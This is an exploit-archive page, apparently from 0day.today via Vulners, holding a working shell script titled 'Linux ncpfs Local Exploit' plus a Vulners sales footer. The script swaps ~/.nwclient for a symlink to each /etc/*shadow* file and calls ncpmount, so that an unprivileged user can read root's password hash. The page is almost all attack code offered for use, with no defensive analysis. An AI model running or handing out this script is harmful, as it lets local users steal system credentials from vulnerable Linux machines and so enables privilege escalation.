Local exploit script for Linux ncpfs, utilizing root's encrypted password for access.
=========================
Linux ncpfs Local Exploit
=========================
#!/bin/sh
## Had to remove local -r to get it to work via sh on my box
## Root's encrypted password was in toupper form but the
## super stated it worked fine for him (Gentoo with ncpfs 2.2.5)
## If it worked for you send an email to [emailΒ protected] /str0ke
(echo 'head1 by super'
echo -e '==============\n'
(function head1(){
(local -r MNTDIR=~/mnt.$$
(mv ~/.nwclient ~/.nwclient.temp
ln -sf $1 ~/.nwclient
mkdir $MNTDIR)2>/dev/null
(echo $1
ncpmount $MNTDIR
echo)
(rmdir $MNTDIR
rm ~/.nwclient
mv .nwclient.temp .nwclient)2>/dev/null)}
(for i in /etc/*shadow*
do head1 $i
done)))#
# 0day.today [2018-03-01] #
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo